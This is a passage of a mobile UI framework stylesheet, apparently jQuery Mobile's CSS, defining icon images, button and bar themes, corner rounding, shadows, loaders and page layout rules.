.ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url(images/icons-png/arrow-u-r-black.png); } .ui-alt-icon.ui-icon-audio:after, .ui-alt-icon .ui-icon-audio:after { background-image: url(images/icons-png/audio-black.png); } .ui-alt-icon.ui-icon-back:after, .ui-alt-icon .ui-icon-back:after { background-image: url(images/icons-png/back-black.png); } .ui-alt-icon.ui-icon-bars:after, .ui-alt-icon .ui-icon-bars:after { background-image: url(images/icons-png/bars-black.png); } .ui-alt-icon.ui-icon-bullets:after, .ui-alt-icon .ui-icon-bullets:after { background-image: url(images/icons-png/bullets-black.png); } .ui-alt-icon.ui-icon-calendar:after, .ui-alt-icon .ui-icon-calendar:after { background-image: url(images/icons-png/calendar-black.png); } .ui-alt-icon.ui-icon-camera:after, .ui-alt-icon .ui-icon-camera:after { background-image: url(images/icons-png/camera-black.png); } .ui-alt-icon.ui-icon-carat-d:after, .ui-alt-icon .ui-icon-carat-d:after { background-image: url(images/icons-png/carat-d-black.png); } .ui-alt-icon.ui-icon-carat-l:after, .ui-alt-icon .ui-icon-carat-l:after { background-image: url(images/icons-png/carat-l-black.png); } .ui-alt-icon.ui-icon-carat-r:after, .ui-alt-icon .ui-icon-carat-r:after { background-image: url(images/icons-png/carat-r-black.png); } .ui-alt-icon.ui-icon-carat-u:after, .ui-alt-icon .ui-icon-carat-u:after { background-image: url(images/icons-png/carat-u-black.png); } .ui-alt-icon.ui-icon-check:after, .ui-alt-icon .ui-icon-check:after, html .ui-alt-icon.ui-btn.ui-checkbox-on:after, html .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url(images/icons-png/check-black.png); } .ui-alt-icon.ui-icon-clock:after, .ui-alt-icon .ui-icon-clock:after { background-image: url(images/icons-png/clock-black.png); } .ui-alt-icon.ui-icon-cloud:after, .ui-alt-icon .ui-icon-cloud:after { background-image: url(images/icons-png/cloud-black.png); } .ui-alt-icon.ui-icon-comment:after, .ui-alt-icon .ui-icon-comment:after { background-image: url(images/icons-png/comment-black.png); } .ui-alt-icon.ui-icon-delete:after, .ui-alt-icon .ui-icon-delete:after { background-image: url(images/icons-png/delete-black.png); } .ui-alt-icon.ui-icon-edit:after, .ui-alt-icon .ui-icon-edit:after { background-image: url(images/icons-png/edit-black.png); } .ui-alt-icon.ui-icon-eye:after, .ui-alt-icon .ui-icon-eye:after { background-image: url(images/icons-png/eye-black.png); } .ui-alt-icon.ui-icon-forbidden:after, .ui-alt-icon .ui-icon-forbidden:after { background-image: url(images/icons-png/forbidden-black.png); } .ui-alt-icon.ui-icon-forward:after, .ui-alt-icon .ui-icon-forward:after { background-image: url(images/icons-png/forward-black.png); } .ui-alt-icon.ui-icon-gear:after, .ui-alt-icon .ui-icon-gear:after { background-image: url(images/icons-png/gear-black.png); } .ui-alt-icon.ui-icon-grid:after, .ui-alt-icon .ui-icon-grid:after { background-image: url(images/icons-png/grid-black.png); } .ui-alt-icon.ui-icon-heart:after, .ui-alt-icon .ui-icon-heart:after { background-image: url(images/icons-png/heart-black.png); } .ui-alt-icon.ui-icon-home:after, .ui-alt-icon .ui-icon-home:after { background-image: url(images/icons-png/home-black.png); } .ui-alt-icon.ui-icon-info:after, .ui-alt-icon .ui-icon-info:after { background-image: url(images/icons-png/info-black.png); } .ui-alt-icon.ui-icon-location:after, .ui-alt-icon .ui-icon-location:after { background-image: url(images/icons-png/location-black.png); } .ui-alt-icon.ui-icon-lock:after, .ui-alt-icon .ui-icon-lock:after { background-image: url(images/icons-png/lock-black.png); } .ui-alt-icon.ui-icon-mail:after, .ui-alt-icon .ui-icon-mail:after { background-image: url(images/icons-png/mail-black.png); } .ui-alt-icon.ui-icon-minus:after, .ui-alt-icon .ui-icon-minus:after { background-image: url(images/icons-png/minus-black.png); } .ui-alt-icon.ui-icon-navigation:after, .ui-alt-icon .ui-icon-navigation:after { background-image: url(images/icons-png/navigation-black.png); } .ui-alt-icon.ui-icon-phone:after, .ui-alt-icon .ui-icon-phone:after { background-image: url(images/icons-png/phone-black.png); } .ui-alt-icon.ui-icon-plus:after, .ui-alt-icon .ui-icon-plus:after { background-image: url(images/icons-png/plus-black.png); } .ui-alt-icon.ui-icon-power:after, .ui-alt-icon .ui-icon-power:after { background-image: url(images/icons-png/power-black.png); } .ui-alt-icon.ui-icon-recycle:after, .ui-alt-icon .ui-icon-recycle:after { background-image: url(images/icons-png/recycle-black.png); } .ui-alt-icon.ui-icon-refresh:after, .ui-alt-icon .ui-icon-refresh:after { background-image: url(images/icons-png/refresh-black.png); } .ui-alt-icon.ui-icon-search:after, .ui-alt-icon .ui-icon-search:after, .ui-input-search:after { background-image: url(images/icons-png/search-black.png); } .ui-alt-icon.ui-icon-shop:after, .ui-alt-icon .ui-icon-shop:after { background-image: url(images/icons-png/shop-black.png); } .ui-alt-icon.ui-icon-star:after, .ui-alt-icon .ui-icon-star:after { background-image: url(images/icons-png/star-black.png); } .ui-alt-icon.ui-icon-tag:after, .ui-alt-icon .ui-icon-tag:after { background-image: url(images/icons-png/tag-black.png); } .ui-alt-icon.ui-icon-user:after, .ui-alt-icon .ui-icon-user:after { background-image: url(images/icons-png/user-black.png); } .ui-alt-icon.ui-icon-video:after, .ui-alt-icon .ui-icon-video:after { background-image: url(images/icons-png/video-black.png); } /* Globals */ /* Font -----------------------------------------------------------------------------------------------------------*/ html { font-size: 100%; } body, input, select, textarea, button, .ui-btn { font-size: 1em; line-height: 1.3; font-family: sans-serif /*{global-font-family}*/; } legend, .ui-input-text input, .ui-input-search input { color: inherit; text-shadow: inherit; } /* Form labels (overrides font-weight bold in bars, and mini font-size) */ .ui-mobile label, div.ui-controlgroup-label { font-weight: normal; font-size: 16px; } /* Separators -----------------------------------------------------------------------------------------------------------*/ /* Field contain separator (< 28em) */ .ui-field-contain { border-bottom-color: #828282; border-bottom-color: rgba(0,0,0,.15); border-bottom-width: 1px; border-bottom-style: solid; } /* Table opt-in classes: strokes between each row, and alternating row stripes */ /* Classes table-stroke and table-stripe are deprecated in 1.4. */ .table-stroke thead th, .table-stripe thead th, .table-stripe tbody tr:last-child { border-bottom: 1px solid #d6d6d6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.1); } .table-stroke tbody th, .table-stroke tbody td { border-bottom: 1px solid #e6e6e6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.05); } .table-stripe.table-stroke tbody tr:last-child th, .table-stripe.table-stroke tbody tr:last-child td { border-bottom: 0; } .table-stripe tbody tr:nth-child(odd) td, .table-stripe tbody tr:nth-child(odd) th { background-color: #eeeeee; /* non-RGBA fallback */ background-color: rgba(0,0,0,.04); } /* Buttons -----------------------------------------------------------------------------------------------------------*/ .ui-btn, label.ui-btn { font-weight: bold; border-width: 1px; border-style: solid; } .ui-btn { text-decoration: none !important; } .ui-btn-active { cursor: pointer; } /* Corner rounding -----------------------------------------------------------------------------------------------------------*/ /* Class ui-btn-corner-all deprecated in 1.4 */ .ui-corner-all { -webkit-border-radius: .3125em /*{global-radii-blocks}*/; border-radius: .3125em /*{global-radii-blocks}*/; } /* Buttons */ .ui-btn-corner-all, .ui-btn.ui-corner-all, /* Slider track */ .ui-slider-track.ui-corner-all, /* Flipswitch */ .ui-flipswitch.ui-corner-all, /* Count bubble */ .ui-li-count { -webkit-border-radius: .3125em /*{global-radii-buttons}*/; border-radius: .3125em /*{global-radii-buttons}*/; } /* Icon-only buttons */ .ui-btn-icon-notext.ui-btn-corner-all, .ui-btn-icon-notext.ui-corner-all { -webkit-border-radius: 1em; border-radius: 1em; } /* Radius clip workaround for cleaning up corner trapping */ .ui-btn-corner-all, .ui-corner-all { -webkit-background-clip: padding; background-clip: padding-box; } /* Popup arrow */ .ui-popup.ui-corner-all > .ui-popup-arrow-guide { left: .6em /*{global-radii-blocks}*/; right: .6em /*{global-radii-blocks}*/; top: .6em /*{global-radii-blocks}*/; bottom: .6em /*{global-radii-blocks}*/; } /* Shadow -----------------------------------------------------------------------------------------------------------*/ .ui-shadow { -webkit-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; -moz-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; } .ui-shadow-inset { -webkit-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; -moz-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; } .ui-overlay-shadow { -webkit-box-shadow: 0 0 12px rgba(0,0,0,.6); -moz-box-shadow: 0 0 12px rgba(0,0,0,.6); box-shadow: 0 0 12px rgba(0,0,0,.6); } /* Icons -----------------------------------------------------------------------------------------------------------*/ .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.3) /*{global-icon-disc}*/; background-position: center center; background-repeat: no-repeat; -webkit-border-radius: 1em; border-radius: 1em; } /* Alt icons */ .ui-alt-icon.ui-btn:after, .ui-alt-icon .ui-btn:after, html .ui-alt-icon.ui-checkbox-off:after, html .ui-alt-icon.ui-radio-off:after, html .ui-alt-icon .ui-checkbox-off:after, html .ui-alt-icon .ui-radio-off:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.15) /*{global-icon-disc}*/; } /* No disc */ .ui-nodisc-icon.ui-btn:after, .ui-nodisc-icon .ui-btn:after { background-color: transparent; } /* Icon shadow */ .ui-shadow-icon.ui-btn:after, .ui-shadow-icon .ui-btn:after { -webkit-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; -moz-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; } /* Checkbox and radio */ .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after, .ui-btn.ui-radio-off:after, .ui-btn.ui-radio-on:after { display: block; width: 18px; height: 18px; margin: -9px 2px 0 2px; } .ui-checkbox-off:after, .ui-btn.ui-radio-off:after { filter: Alpha(Opacity=30); opacity: .3; } .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after { -webkit-border-radius: .1875em; border-radius: .1875em; } .ui-btn.ui-checkbox-off:after { background-color: #666; background-color: rgba(0,0,0,.3); } .ui-radio .ui-btn.ui-radio-on:after { background-image: none; background-color: #fff; width: 8px; height: 8px; border-width: 5px; border-style: solid; } .ui-alt-icon.ui-btn.ui-radio-on:after, .ui-alt-icon .ui-btn.ui-radio-on:after { background-color: #000; } /* Loader */ .ui-icon-loading { background: url(images/ajax-loader.gif); background-size: 2.875em 2.875em; } /* Swatches */ /* A -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-a, .ui-page-theme-a .ui-bar-inherit, html .ui-bar-a .ui-bar-inherit, html .ui-body-a .ui-bar-inherit, html body .ui-group-theme-a .ui-bar-inherit { background-color: #e9e9e9 /*{a-bar-background-color}*/; border-color: #ddd /*{a-bar-border}*/; color: #333 /*{a-bar-color}*/; text-shadow: 0 /*{a-bar-shadow-x}*/ 1px /*{a-bar-shadow-y}*/ 0 /*{a-bar-shadow-radius}*/ #eee /*{a-bar-shadow-color}*/; font-weight: bold; } .ui-bar-a { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-a, .ui-page-theme-a, .ui-page-theme-a .ui-panel-wrapper { background-color: #f9f9f9 /*{a-page-background-color}*/; border-color: #bbb /*{a-page-border}*/; color: #333 /*{a-page-color}*/; text-shadow: 0 /*{a-page-shadow-x}*/ 1px /*{a-page-shadow-y}*/ 0 /*{a-page-shadow-radius}*/ #f3f3f3 /*{a-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-a, .ui-page-theme-a .ui-body-inherit, html .ui-bar-a .ui-body-inherit, html .ui-body-a .ui-body-inherit, html body .ui-group-theme-a .ui-body-inherit, html .ui-panel-page-container-a { background-color: #fff /*{a-body-background-color}*/; border-color: #ddd /*{a-body-border}*/; color: #333 /*{a-body-color}*/; text-shadow: 0 /*{a-body-shadow-x}*/ 1px /*{a-body-shadow-y}*/ 0 /*{a-body-shadow-radius}*/ #f3f3f3 /*{a-body-shadow-color}*/; } .ui-body-a { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-a a, html .ui-bar-a a, html .ui-body-a a, html body .ui-group-theme-a a { color: #3388cc /*{a-link-color}*/; font-weight: bold; } .ui-page-theme-a a:visited, html .ui-bar-a a:visited, html .ui-body-a a:visited, html body .ui-group-theme-a a:visited { color: #3388cc /*{a-link-visited}*/; } .ui-page-theme-a a:hover, html .ui-bar-a a:hover, html .ui-body-a a:hover, html body .ui-group-theme-a a:hover { color: #005599 /*{a-link-hover}*/; } .ui-page-theme-a a:active, html .ui-bar-a a:active, html .ui-body-a a:active, html body .ui-group-theme-a a:active { color: #005599 /*{a-link-active}*/; } /* Button up */ .ui-page-theme-a .ui-btn, html .ui-bar-a .ui-btn, html .ui-body-a .ui-btn, html body .ui-group-theme-a .ui-btn, html head + body .ui-btn.ui-btn-a, /* Button visited */ .ui-page-theme-a .ui-btn:visited, html .ui-bar-a .ui-btn:visited, html .ui-body-a .ui-btn:visited, html body .ui-group-theme-a .ui-btn:visited, html head + body .ui-btn.ui-btn-a:visited { background-color: #f6f6f6 /*{a-bup-background-color}*/; border-color: #ddd /*{a-bup-border}*/; color: #333 /*{a-bup-color}*/; text-shadow: 0 /*{a-bup-shadow-x}*/ 1px /*{a-bup-shadow-y}*/ 0 /*{a-bup-shadow-radius}*/ #f3f3f3 /*{a-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-a .ui-btn:hover, html .ui-bar-a .ui-btn:hover, html .ui-body-a .ui-btn:hover, html body .ui-group-theme-a .ui-btn:hover, html head + body .ui-btn.ui-btn-a:hover { background-color: #ededed /*{a-bhover-background-color}*/; border-color: #ddd /*{a-bhover-border}*/; color: #333 /*{a-bhover-color}*/; text-shadow: 0 /*{a-bhover-shadow-x}*/ 1px /*{a-bhover-shadow-y}*/ 0 /*{a-bhover-shadow-radius}*/ #f3f3f3 /*{a-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-a .ui-btn:active, html .ui-bar-a .ui-btn:active, html .ui-body-a .ui-btn:active, html body .ui-group-theme-a .ui-btn:active, html head + body .ui-btn.ui-btn-a:active { background-color: #e8e8e8 /*{a-bdown-background-color}*/; border-color: #ddd /*{a-bdown-border}*/; color: #333 /*{a-bdown-color}*/; text-shadow: 0 /*{a-bdown-shadow-x}*/ 1px /*{a-bdown-shadow-y}*/ 0 /*{a-bdown-shadow-radius}*/ #f3f3f3 /*{a-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-a .ui-btn.ui-btn-active, html .ui-bar-a .ui-btn.ui-btn-active, html .ui-body-a .ui-btn.ui-btn-active, html body .ui-group-theme-a .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-a.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-a .ui-checkbox-on:after, html .ui-bar-a .ui-checkbox-on:after, html .ui-body-a .ui-checkbox-on:after, html body .ui-group-theme-a .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-a:after, /* Active flipswitch background */ .ui-page-theme-a .ui-flipswitch-active, html .ui-bar-a .ui-flipswitch-active, html .ui-body-a .ui-flipswitch-active, html body .ui-group-theme-a .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-a.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-a .ui-slider-track .ui-btn-active, html .ui-bar-a .ui-slider-track .ui-btn-active, html .ui-body-a .ui-slider-track .ui-btn-active, html body .ui-group-theme-a .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-a .ui-btn-active { background-color: #3388cc /*{a-active-background-color}*/; border-color: #3388cc /*{a-active-border}*/; color: #fff /*{a-active-color}*/; text-shadow: 0 /*{a-active-shadow-x}*/ 1px /*{a-active-shadow-y}*/ 0 /*{a-active-shadow-radius}*/ #005599 /*{a-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-a .ui-radio-on:after, html .ui-bar-a .ui-radio-on:after, html .ui-body-a .ui-radio-on:after, html body .ui-group-theme-a .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-a:after { border-color: #3388cc /*{a-active-background-color}*/; } /* Focus */ .ui-page-theme-a .ui-btn:focus, html .ui-bar-a .ui-btn:focus, html .ui-body-a .ui-btn:focus, html body .ui-group-theme-a .ui-btn:focus, html head + body .ui-btn.ui-btn-a:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-a .ui-focus, html .ui-bar-a .ui-focus, html .ui-body-a .ui-focus, html body .ui-group-theme-a .ui-focus, html head + body .ui-btn-a.ui-focus, html head + body .ui-body-a.ui-focus { -webkit-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; -moz-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; } /* B -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-b, .ui-page-theme-b .ui-bar-inherit, html .ui-bar-b .ui-bar-inherit, html .ui-body-b .ui-bar-inherit, html body .ui-group-theme-b .ui-bar-inherit { background-color: #1d1d1d /*{b-bar-background-color}*/; border-color: #1b1b1b /*{b-bar-border}*/; color: #fff /*{b-bar-color}*/; text-shadow: 0 /*{b-bar-shadow-x}*/ 1px /*{b-bar-shadow-y}*/ 0 /*{b-bar-shadow-radius}*/ #111 /*{b-bar-shadow-color}*/; font-weight: bold; } .ui-bar-b { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-b, .ui-page-theme-b, .ui-page-theme-b .ui-panel-wrapper { background-color: #252525 /*{b-page-background-color}*/; border-color: #454545 /*{b-page-border}*/; color: #fff /*{b-page-color}*/; text-shadow: 0 /*{b-page-shadow-x}*/ 1px /*{b-page-shadow-y}*/ 0 /*{b-page-shadow-radius}*/ #111 /*{b-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-b, .ui-page-theme-b .ui-body-inherit, html .ui-bar-b .ui-body-inherit, html .ui-body-b .ui-body-inherit, html body .ui-group-theme-b .ui-body-inherit, html .ui-panel-page-container-b { background-color: #2a2a2a /*{b-body-background-color}*/; border-color: #1d1d1d /*{b-body-border}*/; color: #fff /*{b-body-color}*/; text-shadow: 0 /*{b-body-shadow-x}*/ 1px /*{b-body-shadow-y}*/ 0 /*{b-body-shadow-radius}*/ #111 /*{b-body-shadow-color}*/; } .ui-body-b { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-b a, html .ui-bar-b a, html .ui-body-b a, html body .ui-group-theme-b a { color: #22aadd /*{b-link-color}*/; font-weight: bold; } .ui-page-theme-b a:visited, html .ui-bar-b a:visited, html .ui-body-b a:visited, html body .ui-group-theme-b a:visited { color: #22aadd /*{b-link-visited}*/; } .ui-page-theme-b a:hover, html .ui-bar-b a:hover, html .ui-body-b a:hover, html body .ui-group-theme-b a:hover { color: #0088bb /*{b-link-hover}*/; } .ui-page-theme-b a:active, html .ui-bar-b a:active, html .ui-body-b a:active, html body .ui-group-theme-b a:active { color: #0088bb /*{b-link-active}*/; } /* Button up */ .ui-page-theme-b .ui-btn, html .ui-bar-b .ui-btn, html .ui-body-b .ui-btn, html body .ui-group-theme-b .ui-btn, html head + body .ui-btn.ui-btn-b, /* Button visited */ .ui-page-theme-b .ui-btn:visited, html .ui-bar-b .ui-btn:visited, html .ui-body-b .ui-btn:visited, html body .ui-group-theme-b .ui-btn:visited, html head + body .ui-btn.ui-btn-b:visited { background-color: #333 /*{b-bup-background-color}*/; border-color: #1f1f1f /*{b-bup-border}*/; color: #fff /*{b-bup-color}*/; text-shadow: 0 /*{b-bup-shadow-x}*/ 1px /*{b-bup-shadow-y}*/ 0 /*{b-bup-shadow-radius}*/ #111 /*{b-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-b .ui-btn:hover, html .ui-bar-b .ui-btn:hover, html .ui-body-b .ui-btn:hover, html body .ui-group-theme-b .ui-btn:hover, html head + body .ui-btn.ui-btn-b:hover { background-color: #373737 /*{b-bhover-background-color}*/; border-color: #1f1f1f /*{b-bhover-border}*/; color: #fff /*{b-bhover-color}*/; text-shadow: 0 /*{b-bhover-shadow-x}*/ 1px /*{b-bhover-shadow-y}*/ 0 /*{b-bhover-shadow-radius}*/ #111 /*{b-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-b .ui-btn:active, html .ui-bar-b .ui-btn:active, html .ui-body-b .ui-btn:active, html body .ui-group-theme-b .ui-btn:active, html head + body .ui-btn.ui-btn-b:active { background-color: #404040 /*{b-bdown-background-color}*/; border-color: #1f1f1f /*{b-bdown-border}*/; color: #fff /*{b-bdown-color}*/; text-shadow: 0 /*{b-bdown-shadow-x}*/ 1px /*{b-bdown-shadow-y}*/ 0 /*{b-bdown-shadow-radius}*/ #111 /*{b-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-b .ui-btn.ui-btn-active, html .ui-bar-b .ui-btn.ui-btn-active, html .ui-body-b .ui-btn.ui-btn-active, html body .ui-group-theme-b .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-b.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-b .ui-checkbox-on:after, html .ui-bar-b .ui-checkbox-on:after, html .ui-body-b .ui-checkbox-on:after, html body .ui-group-theme-b .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-b:after, /* Active flipswitch background */ .ui-page-theme-b .ui-flipswitch-active, html .ui-bar-b .ui-flipswitch-active, html .ui-body-b .ui-flipswitch-active, html body .ui-group-theme-b .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-b.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-b .ui-slider-track .ui-btn-active, html .ui-bar-b .ui-slider-track .ui-btn-active, html .ui-body-b .ui-slider-track .ui-btn-active, html body .ui-group-theme-b .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-b .ui-btn-active { background-color: #22aadd /*{b-active-background-color}*/; border-color: #22aadd /*{b-active-border}*/; color: #fff /*{b-active-color}*/; text-shadow: 0 /*{b-active-shadow-x}*/ 1px /*{b-active-shadow-y}*/ 0 /*{b-active-shadow-radius}*/ #0088bb /*{b-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-b .ui-radio-on:after, html .ui-bar-b .ui-radio-on:after, html .ui-body-b .ui-radio-on:after, html body .ui-group-theme-b .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-b:after { border-color: #22aadd /*{b-active-background-color}*/; } /* Focus */ .ui-page-theme-b .ui-btn:focus, html .ui-bar-b .ui-btn:focus, html .ui-body-b .ui-btn:focus, html body .ui-group-theme-b .ui-btn:focus, html head + body .ui-btn.ui-btn-b:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-b .ui-focus, html .ui-bar-b .ui-focus, html .ui-body-b .ui-focus, html body .ui-group-theme-b .ui-focus, html head + body .ui-btn-b.ui-focus, html head + body .ui-body-b.ui-focus { -webkit-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; -moz-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; } /* Structure */ /* Disabled -----------------------------------------------------------------------------------------------------------*/ /* Class ui-disabled deprecated in 1.4. :disabled not supported by IE8 so we use [disabled] */ .ui-disabled, .ui-state-disabled, button[disabled], .ui-select .ui-btn.ui-state-disabled { filter: Alpha(Opacity=30); opacity: .3; cursor: default !important; pointer-events: none; } /* Focus state outline -----------------------------------------------------------------------------------------------------------*/ .ui-btn:focus, .ui-btn.ui-focus { outline: 0; } /* Unset box-shadow in browsers that don't do it right */ .ui-noboxshadow .ui-shadow, .ui-noboxshadow .ui-shadow-inset, .ui-noboxshadow .ui-overlay-shadow, .ui-noboxshadow .ui-shadow-icon.ui-btn:after, .ui-noboxshadow .ui-shadow-icon .ui-btn:after, .ui-noboxshadow .ui-focus, .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow input:focus, .ui-noboxshadow .ui-panel { -webkit-box-shadow: none !important; -moz-box-shadow: none !important; box-shadow: none !important; } .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow .ui-focus { outline-width: 1px; outline-style: auto; } /* Some unsets */ .ui-mobile, .ui-mobile body { height: 99.9%; } .ui-mobile fieldset, .ui-page { padding: 0; margin: 0; } .ui-mobile a img, .ui-mobile fieldset { border-width: 0; } /* Fixes for fieldset issues on IE10 and FF (see #6077) */ .ui-mobile fieldset { min-width: 0; } @-moz-document url-prefix() { .ui-mobile fieldset { display: table-column; vertical-align: middle; } } /* Viewport */ .ui-mobile-viewport { margin: 0; overflow-x: visible; -webkit-text-size-adjust: 100%; -ms-text-size-adjust:none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } /* Issue #2066 */ body.ui-mobile-viewport, div.ui-mobile-viewport { overflow-x: hidden; } /* "page" containers - full-screen views, one should always be in view post-pageload */ .ui-mobile [data-role=page], .ui-mobile [data-role=dialog], .ui-page { top: 0; left: 0; width: 100%; min-height: 100%; position: absolute; display: none; border: 0; } /* On ios4, setting focus on the page element causes flashing during transitions when there is an outline, so we turn off outlines */ .ui-page { outline: none; } .ui-mobile .ui-page-active { display: block; overflow: visible; overflow-x: hidden; } @media screen and (orientation: portrait) { .ui-mobile .ui-page { min-height: 420px; } } @media screen and (orientation: landscape) { .ui-mobile .ui-page { min-height: 300px; } } /* Fouc */ .ui-mobile-rendering > * { visibility: hidden; } /* Non-js content hiding */ .ui-nojs { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Loading screen */ .ui-loading .ui-loader { display: block; } .ui-loader { display: none; z-index: 9999999; position: fixed; top: 50%; left: 50%; border:0; } .ui-loader-default { background: none; filter: Alpha(Opacity=18); opacity: .18; width: 2.875em; height: 2.875em; margin-left: -1.4375em; margin-top: -1.4375em; } .ui-loader-verbose { width: 12.5em; filter: Alpha(Opacity=88); opacity: .88; box-shadow: 0 1px 1px -1px #fff; height: auto; margin-left: -6.875em; margin-top: -2.6875em; padding: .625em; } .ui-loader-default h1 { font-size: 0; width: 0; height: 0; overflow: hidden; } .ui-loader-verbose h1 { font-size: 1em; margin: 0; text-align: center; } .ui-loader .ui-icon-loading { background-color: #000; display: block; margin: 0; width: 2.75em; height: 2.75em; padding: .0625em; -webkit-border-radius: 2.25em; border-radius: 2.25em; } .ui-loader-verbose .ui-icon-loading { margin: 0 auto .625em; filter: Alpha(Opacity=75); opacity: .75; } .ui-loader-textonly { padding: .9375em; margin-left: -7.1875em; } .ui-loader-textonly .ui-icon-loading { display: none; } .ui-loader-fakefix { position: absolute; } /* Headers, content panels */ .ui-bar, .ui-body { position: relative; padding: .4em 1em; overflow: hidden; display: block; clear: both; } .ui-bar h1, .ui-bar h2, .ui-bar h3, .ui-bar h4, .ui-bar h5, .ui-bar h6 { margin: 0; padding: 0; font-size: 1em; display: inline-block; } .ui-header, .ui-footer { border-width: 1px 0; border-style: solid; position: relative; } .ui-header:empty, .ui-footer:empty { min-height: 2.6875em; } .ui-header .ui-title, .ui-footer .ui-title { font-size: 1em; min-height: 1.1em; text-align: center; display: block; margin: 0 30%; padding: .7em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; outline: 0 !important; } .ui-footer .ui-title { margin: 0 1em; } .ui-content { border-width: 0; overflow: visible; overflow-x: hidden; padding: 1em; } /* Corner styling for dialogs and popups */ .ui-corner-all > .ui-header:first-child, .ui-corner-all > .ui-content:first-child, .ui-corner-all > .ui-footer:first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-corner-all > .ui-header:last-child, .ui-corner-all > .ui-content:last-child, .ui-corner-all > .ui-footer:last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } /* Buttons and icons */ .ui-btn { font-size: 16px; margin: .5em 0; padding: .7em 1em; display: block; position: relative; text-align: center; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .ui-btn-icon-notext, .ui-header button.ui-btn.ui-btn-icon-notext, .ui-footer button.ui-btn.ui-btn-icon-notext { padding: 0; width: 1.75em; height: 1.75em; text-indent: -9999px; white-space: nowrap !important; } .ui-mini { font-size: 12.5px; } .ui-mini .ui-btn { font-size: inherit; } /* Make buttons in toolbars default to mini and inline. */ .ui-header .ui-btn, .ui-footer .ui-btn { font-size: 12.5px; display: inline-block; vertical-align: middle; } .ui-header .ui-controlgroup .ui-btn-icon-notext, .ui-footer .ui-controlgroup .ui-btn-icon-notext { font-size: 12.5px; } /* To ensure same top and left/right position when ui-btn-left/right are added to something other than buttons. */ .ui-header .ui-btn-left, .ui-header .ui-btn-right { font-size: 12.5px; } .ui-mini.ui-btn-icon-notext, .ui-mini .ui-btn-icon-notext, .ui-header .ui-btn-icon-notext, .ui-footer .ui-btn-icon-notext { font-size: 16px; padding: 0; } .ui-btn-inline { display: inline-block; 